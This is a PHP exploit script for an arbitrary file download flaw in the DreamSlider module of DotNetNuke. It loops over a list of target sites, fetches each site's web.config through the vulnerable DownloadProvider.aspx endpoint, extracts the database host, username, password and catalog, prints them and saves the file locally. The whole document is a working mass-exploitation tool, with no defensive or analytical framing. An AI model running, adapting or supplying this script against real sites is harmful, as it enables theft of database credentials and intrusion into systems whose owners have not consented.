dotNetNuke DreamSlider Arbitrary File Download

<?php
Class IDX_dotNetNuke {
    public $url;

    public function validUrl() {
        if(!preg_match("/^http:\/\//", $this->url) AND !preg_match("/^https:\/\//", $this->url)) {
            $url = "http://".$this->url;
            return $url;
        } else {
            return $this->url;
        }
    }

    public function curl($url, $data = null, $headers = null, $cookie = true) {
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_USERAGENT, md5(uniqid()));
              //curl_setopt($ch, CURLOPT_VERBOSE, TRUE);
              curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
              curl_setopt($ch, CURLOPT_TIMEOUT, 5);

        if($data !== null) {
              curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
              curl_setopt($ch, CURLOPT_POST, TRUE);
              curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }

        if($headers !== null) {
              curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }

        if($cookie === true) {
              curl_setopt($ch, CURLOPT_COOKIE, TRUE);
              curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");
              curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
        }

        $exec = curl_exec($ch);
        $info = curl_getinfo($ch);

              curl_close($ch);

        return (object) [
            "response"  => $exec,
            "info"      => $info
        ];

    }

    public function getValue($param, $kata1, $kata2) {
        if(strpos($param, $kata1) === FALSE) return FALSE;
        if(strpos($param, $kata2) === FALSE) return FALSE;
        $start = strpos($param, $kata1) + strlen($kata1);
        $end = strpos($param, $kata2, $start);
        $return = substr($param, $start, $end - $start);
        return $return;
    }

    public function exploit() {
        $url = $this->url;
        $url = $this->validUrl();

        $file = "~/web.config";
        $get  = $this->curl($url."/DesktopModules/DreamSlider/DownloadProvider.aspx?File=".$file);

        while($get->response === false) {}

        preg_match("/Data Source=(.*?)/i", $get->response, $host);
        preg_match("/User ID=(.*?);/i", $get->response, $user);
        $pass = $this->getValue($get->response, ";Password=" , "\"");
        preg_match("/Initial Catalog=(.*?);/i", $get->response, $db);

        print "[>] Host: ".$host[1]." | User: ".$user[1]." | Pass: ".$pass." | Db: ".$db[1]." \n";
        print "[>] ".parse_url($this->url, PHP_URL_HOST)."_web.config saved!\n\n";
        $this->save($get->response);

    }

    public function save($data) {
        $handle = fopen(parse_url($this->url, PHP_URL_HOST)."_web.config", "w");
        fwrite($handle, $data);
        fclose($handle);
    }
}

$dotNetNuke = new IDX_dotNetNuke();

if(!isset($argv[1])) die("!! Usage: php ".$argv[0]." target.txt");
if(!file_exists($argv[1])) die("!! File target ".$argv[1]." tidak di temukan!!");
$open = explode("\n", file_get_contents($argv[1]));

foreach($open as $list) {
    $dotNetNuke->url = trim($list);
    $dotNetNuke->url = $dotNetNuke->validUrl();

    print "[*] Exploiting ".parse_url($dotNetNuke->url, PHP_URL_HOST)."\n";
    $dotNetNuke->exploit();
}